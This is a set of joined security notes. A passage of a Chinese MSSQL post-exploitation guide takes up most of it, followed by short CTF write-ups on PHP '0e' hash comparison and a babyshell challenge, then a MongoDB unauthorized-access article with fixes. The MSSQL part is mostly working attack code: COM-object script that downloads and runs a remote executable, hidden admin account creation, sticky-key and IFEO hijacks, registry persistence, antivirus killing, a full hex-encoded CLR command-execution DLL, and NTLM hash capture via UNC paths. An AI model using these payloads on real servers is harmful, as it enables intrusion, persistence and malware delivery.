对象允许我们复制文件、管理驱动器等等。 ```sql -- 利用 filesystemobject 写vbs脚本 declare @o int, @f int, @t int, @ret int,@a int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah' -- 配合 wscript.shell 组件执行 DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs] ``` ```sql -- 复制具有不同名称和位置的 calc.exe 可执行文件 declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe'; ``` ```sql -- 移动文件 declare @ffffffff0x int exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt' ``` ```sql -- 删除文件 declare @result int declare @ffffffff0x int exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out exec sp_oamethod @ffffffff0x,'deletefile',null,'c:\\www\\1.txt' exec sp_oadestroy @ffffffff0x ``` ```sql -- 替换粘滞键 declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe'; declare @ffffffff0x int; exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out; exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe' ``` **ScriptControl COM 对象利用(未测试成功)** - https://developpaper.com/introduction-of-msscriptcontrol-scriptcontrol-component-properties-methods-and-events/ ScriptControl 允许我们在 SQL Server 中实际运行脚本语言,例如 VBScript 或 JavaScript。 ```sql -- 使用 JavaScript 创建帐户、更改其密码并将新帐户添加到管理员组 declare @ffffffff0x int EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT; EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript'; EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users"); z=o.create("testuser"); z.changePassword("123456!@#","") z.setting("AccountType")=3;'; -- 0:"Guests" -- 1:"Users" -- 2:"Power Users" -- 3:"Administrators" -- 下载恶意软件 declare @ffffffff0x int EXEC sp_OAcreate 'Scriptcontrol',@ffffffff0x OUT; EXEC sp_OASetProperty @ffffffff0x, 'Language', 'JavaScript'; EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL, 'var x = new ActiveXObject("Microsoft.XMLHTTP"); x.Open("GET","http://x.x.x.x:443/test.exe",0); x.Send(); var s = new ActiveXObject("ADODB.Stream"); s.Mode = 3; s.Type = 1; s.Open(); S.Write(x.responseBody); s.SaveToFile("C:\\www\\test.exe",2); var r = new ActiveXObject("WScript.Shell"); r.Run("C:\\www\\test.exe");'; ``` **WMI COM 对象利用** ```sql declare @objWmi int,@objLocator int,@objPermiss int,@objRet int,@objFull varchar(8000) EXEC sp_OACreate 'WbemScripting.SWbemLocator.1',@objLocator OUTPUT; EXEC sp_OAMethod @objLocator,'ConnectServer',@objWmi OUTPUT,'.','root\cimv2'; EXEC sp_OAMethod @objWmi,'Get',@objPermiss OUTPUT,'Win32_LogicalFileSecuritySetting.Path=''wscript.exe'''; EXEC sp_OAMethod @objWmi,'Get',@objFull OUTPUT, 'Win32_SecurityDescriptor'; EXEC sp_OASetProperty @objFull,'ControlFlags',4; EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',@objRet output,@objFull; ``` ## xp_regwrite **利用条件** - xpstar.dll **修改注册表来劫持粘贴键(映像劫持)** 利用regwrite函数修改注册表,起到劫持作用 ```sql exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe' -- 检查是否劫持成功 exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' ``` **将 COM 对象注册到 CLSID** 在进行 sp_oacreate 利用的时候就有使用 com 组件执行命令的方法 ```sql -- 使用其 CLSID '0D43FE01-F093-11CF-8940-00A0C9054228' 注册 'The File System Object component' EXEC xp_regwrite N'HKEY_ CLASSES_ROOT', N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\', N'', REG_SZ, N'FileSystem Object'; EXEC xp_regwrite N'HKEY_CLASSES_ROOT', N'CLSID\(0D43FE01-F093-11CF-8940-00A0C9054228}\InProcServer32', N'', REG_SZ, N'%systemroot%\system32\scrrun.dll'; EXEC xp_regwrite N'HKEY_CLASSES_ROOT', N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID',N'',REG_SZ, N'Scripting.FileSystemObject'; EXEC xp_regwrite N'HKEY_CLASSES_ROOT', N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TypeLib',N'',REG_SZ, N'{420B2830-E718-11CF-893D-00A0C9054228}'; EXEC xp_regwrite N'HKEY_CLASSES_ROOT', N'CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\Version',N'',REG_SZ, N'1.0'; ``` **CMD AutoRun** 当 CMD.exe(命令处理器)启动时,如果未指定 /D 标志,将执行 AutoRun 命令。 ```sql -- 将 CMD.exe 的 AutoRun 注册表项与软件可执行路径 (c:\windows\system32\calc.exe) 添加,作为持久化的后门 EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','c:\windows\system32\calc.exe' ``` **Run & RunOnce** Run 和 RunOnce 注册表项会导致程序在用户每次登录时运行。 ```sql -- 通过将带有可执行路径 (c:\windows\system32\calc.exe) 的 Aut3 条目添加到此注册表路径,攻击者确保每次用户登录服务器时都会执行恶意软件。 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','c:\windows\system32\calc.exe' ``` 注销,重新登录,触发 calc **禁用指定软件** 攻击者需要确保在部署加密矿工时杀死反病毒进程以保持不被发现。所以可以设置在某些应用启动时自动关闭. ```sql -- 禁用正在运行的进程的方法是使用 IFEO(Image File Execution Options),通过添加值为 taskkill 的调试器键,在这种情况下将杀死特定进程 Everything.exe: EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe' ``` 此时只要开启 Everything 就会自动关闭. ## SQL Server Agent Job 代理执行计划任务利用 **漏洞描述** SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。 **利用条件** - 拥有 DBA 权限 - 需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的 **利用方法** ```sql -- 开启 sqlagent 服务 exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'; -- 利用任务计划命令执行(无回显,可以 dnslog) -- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt use msdb; exec sp_delete_job null,'test' exec sp_add_job 'test' exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"' exec sp_add_jobserver null,'test',@@servername exec sp_start_job 'test'; ``` ## CLR提权 **漏洞描述** 从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。 - https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15 CLR 方式可以利用 16 进制文件流方式导入 DLL 文件,不需要文件落地 - [MDUT 中的16进制的dll](https://github.com/SafeGroceryStore/MDUT/blob/main/MDAT-DEV/src/main/Plugins/Mssql/clr.txt) dll的制作可以参考下面的文章 - https://xz.aliyun.com/t/10955#toc-12 **利用条件** - 拥有DBA权限 **复现测试** ```sql -- 启用CLR,SQL Server 2017版本之前 sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项 sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的 -- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限 sp_configure 'show advanced options',1;RECONFIGURE; sp_configure 'clr enabled',1;RECONFIGURE; sp_add_trusted_assembly @hash= <SHA512 of DLL>; -- 将某程序集的SHA512哈希值添加到可信程序集列表中 -- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库 EXEC sp_changedbowner 'sa' ALTER DATABASE [test] SET trustworthy ON -- 导入CLR插件 CREATE ASSEMBLY [mssql_CLR] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE; GO -- 创建CLR函数 CREATE PROCEDURE [dbo].[ExecCommand] @cmd NVARCHAR (MAX) AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand] go -- 利用CLR执行系统命令 exec dbo.ExecCommand "whoami /all"; ``` 格式简化 ```sql -- 导入CLR插件 CREATE ASSEMBLY [clrdata] AUTHORIZATION [dbo] FROM 0x16进制的dll WITH PERMISSION_SET = UNSAFE; -- 创建CLR函数 CREATE PROCEDURE [dbo].[testclrexec] @method NVARCHAR (MAX) , @arguments NVARCHAR (MAX) AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec] -- 利用CLR执行系统命令 exec testclrexec 'cmdexec',N'whoami' ``` ## 利用触发器 触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。 SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器 **登录触发器** 登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。 ```sql -- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [ffffffff0x] on [user] AFTER UPDATE as begin execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go -- user 表 update 更新时,自动触发 UPDATE user SET id = '22' WHERE nickname = 'f0x' ``` 实际测试,可以看到执行命令卡住了,一直没有结束 查看任务管理器,calc 运行了 手动将 calc 结束,此时语句执行完毕返回结果,执行时间等于 calc 运行的时间 ## SQL Server R 和 Python 的利用 **漏洞描述** 在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本 **利用条件** - Machine Learning Services 必须要在 Python 安装过程中选择必须启用外部脚本 - EXEC sp_configure 'external scripts enabled', 1 - RECONFIGURE WITH OVERRIDE - 重新启动数据库服务器 - 用户拥有执行任何外部脚本权限 **R 脚本利用** ```sql -- 利用 R 执行命令 sp_configure 'external scripts enabled' GO EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text)); GO -- 利用 R 抓取 Net-NTLM 哈希 @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")' ``` **Python 脚本利用** ```sql -- 查看版本 exec sp_execute_external_script @language =N'Python', @script=N'import sys OutputDataSet = pandas.DataFrame([sys.version])' WITH RESULT SETS ((python_version nvarchar(max))) -- 利用 Python 读文件 EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' -- 利用 Python 执行命令 exec sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max))) ``` ## AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权) **漏洞描述** AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。 攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。 **利用条件** - 拥有 DBA 权限 - sqlserver 服务权限为 system - 服务器拥有 jet.oledb.4.0 驱动 **利用方法** ```sql -- 修改注册表,关闭沙盒模式 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 -- 开启 Ad Hoc Distributed Queries EXEC sp_configure 'show advanced options', 1 RECONFIGURE GO EXEC sp_configure 'ad hoc distributed queries', 1 RECONFIGURE GO -- Until SQL Server 2012 EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1 -- SQL Server 2014 or later EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1 EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1 -- Windows 2003 系统 c:\windows\system32\ias\ 目录下默认自带了 2 个 Access 数据库文件 ias.mdb/dnary.mdb, 所以直接调用即可. -- Windows 2008 R2 默认无 Access 数据库文件, 需要自己上传, 或者用 UNC 路径加载文件方能执行命令. -- SQL Server2008 默认未注册 microsoft.jet.oledb.4.0 接口, 所以无法利用沙盒模式执行系统命令. Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb', 'select shell("whoami")'); select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")'); ```
sec-knowleage
## Mess of Hash (Web, 50p) Students have developed a new admin login technique. I doubt that it's secure, but the hash isn't crackable. I don't know where the problem is... ###ENG [PL](#pl-version) In this task, we got a hash of password and are asked to log into the account. The hash was as follows: 0e408306536730731920197920342119. We can notice it is pretty strange: only one 'e' letter, and the rest of characters are digits. We can guess that the hash is incorrectly compared to the stored one, and it gets interpreted as number 0. We could generate another password with such property in a reasonable amount of time using attached script. ###PL version W tym zadaniu dostaliśmy hash hasła: 0e408306536730731920197920342119. Wygląda on dość nietypowo, gdyż ma tylko jedną literę 'e', a reszta znaków to cyfry. Jeśli zinterpretować go jako liczbę z wykładnikiem, dostaniemy 0. Korzystając z załączonego skryptu, generujemy dowolne hasło z hashem o takiej własności w sensownym czasie.
sec-knowleage
# babyshell [242 points] (38 solves) Files: - task.tgz ## Part 0: research We found ourselves with a qemu image, which after quick google, can be unpacked with a simple `lz4 initramfs.release.img.lz4 | cpio -i`. There we can inspect `/init` ```bash #! /bin/sh mount -t devtmpfs dev /dev mount -t proc proc /proc mount -t sysfs sysfs /sys sysctl -w user.max_user_namespaces=0 ip link set up dev lo adduser -D -s /bin/sh -u 1000 user mount -o remount,ro / /bin/server setsid /bin/cttyhack login -f user poweroff -d 1 -n -f ``` Interesting parts being `/bin/server`. `/bin/cttyhack` turned out to be regular [cttyhack](https://git.busybox.net/busybox/tree/shell/cttyhack.c). Also, entire file system is read-only `mount -o remount,ro /` ## Part 1: inspecting the binary A quick glance in ghidra showed that binary starts SSL server and binds on `127.0.0.1:4433`: ```c init_openssl(); ssl_ctx = create_context(); configure_context(ssl_ctx); socket = create_socket(); while( true ) { addr = 0x10; // stack string '\ntset' local_16 = 0x74736574; local_12 = 10; status = accept(socket, &sockaddr, &addr); if (status < 0) break; ssl_con = SSL_new(ssl_ctx); SSL_set_fd(ssl_con,status); status = SSL_accept(ssl_con); if (status < 1) { ERR_print_errors_fp(stderr); } else { handler(ssl_con); } SSL_shutdown(ssl_con); SSL_free(ssl_con); close(status); } ``` The handler functions looks something like this: ```c // this value is NOT seeded! int not_rand_val = rand(); snprintf(buf,0x7f,"%d\n", not_rand_val); int buf_len = strlen(buf); SSL_write(ssl,buf, buf_len); SSL_read(ssl,buf,0x80); buf_to_int = atoi(buf); if (not_rand_val == buf_to_int) { char* flag = get_flag(); int flag_len = strlen(flag); SSL_write(ssl, flag, flag_len); } ``` So, we just need to open SSL connection to the server and we get the flag? Should be easy... ## Part 2: The struggle The linux inside image was an arch linux with busybox and almost no tools. That means openssl was not present. We couldn't drop a binary via shell, since entire file system was read only. There wasn't `nc` in path, but `/bin/busybox nc` did work! It's just a missing symlink. Here we had an idea - what if we use netcat as a proxy? *note: I'm skipping here loooong hours spent on debugging* The idea was to send: `(while true; do base64 -d; done) | /bin/busybox nc 127.0.0.1 4433` to the server, and using quick & dirty pwntools script open 2 sockets. ### problem #1 ![The echo problem](echo.png) the server is echo'ing back what we send. This was solved by performing `stty -echo`. ### problem #2 Netcat would send our payload until stdin is closed. That's no good. We managed to bypass this with a `(while true; do read s; printf "$s"; done) | /bin/busybox nc 127.0.0.1 4433` This did work, but we needed to change our encoding from base64 to `\\x41`. ### problem #3 Solution from #2 did work, but now we needed to fix some bytes (`\\x10` to `\\x16`). This was solved by adding `| xxd -c1` at the end. After a bit of debugging and hammering a **very** horrible pwntools script we got the flag: `DrgnS{Shellcoding_and_shellscripting_whats_not_to_like}`. Turns out author had a completely different solution to the challenge. Well, unintended solution it is! The final solving script can be found in `solve.py`.
sec-knowleage
# MongoDB未授权访问漏洞 ## 漏洞描述 启动MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。 ## 环境搭建 docker下载mongo镜像 ``` docker run -it -p 27017:27017 mongo ``` ## 漏洞复现 ### cli执行 ``` ┌──(root💀kali)-[~] └─# mongo 192.168.32.131 MongoDB shell version v5.3.1 connecting to: mongodb://192.168.32.131:27017/test?compressors=disabled&gssapiServiceName=mongodb Implicit session: session { "id" : UUID("c7ddf3c3-2fbc-4b5a-b9a4-91dfce9703a2") } MongoDB server version: 5.0.8 WARNING: shell and server versions do not match > show dbs admin 0.000GB config 0.000GB local 0.000GB ``` ### msf执行 ``` msf6 > use auxiliary/scanner/mongodb/mongodb_login msf6 auxiliary(scanner/mongodb/mongodb_login) > set rhosts 192.168.32.131 rhosts => 192.168.32.131 msf6 auxiliary(scanner/mongodb/mongodb_login) > run [*] 192.168.32.131:27017 - Scanning IP: 192.168.32.131 [+] 192.168.32.131:27017 - Mongo server 192.168.32.131 doesn't use authentication [*] 192.168.32.131:27017 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ## 修复建议 **(1).新建管理账户开启MongoDB授权** 新建终端[参数默认可以不加,若有自定义参数,才要加上,下同] `mongod --port 27017 --dbpath /data/db1` 另起一个终端,运行下列命令 ``` use admin db.createUser( { user: "adminUser", pwd: "adminPass", roles: [ { role: "userAdminAnyDatabase", db: "admin" } ] } ) ``` ![image-20220519143515018](../../.gitbook/assets/image-20220519143515018.png) 管理员创建成功,现在拥有了用户管理员 用户名:`adminUser` 密码:`adminPass` **(2).本地访问** ``` bind 127.0.0.1 ``` **(3).修改默认端口** 修改默认的mongoDB端口(默认为: TCP 27017)为其他端口 **(4).禁用HTTP和REST端口** MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数`nohttpinterface = false` **(5).开启日志审计功能** 审计功能可以用来记录用户对数据库的所有相关操作。这些记录可以让系统管理员在需要的时候分析数据库在什么时段发生了什么事情 **(6).开启auth认证** ``` /etc/mongodb.conf   auth = true ```
sec-knowleage
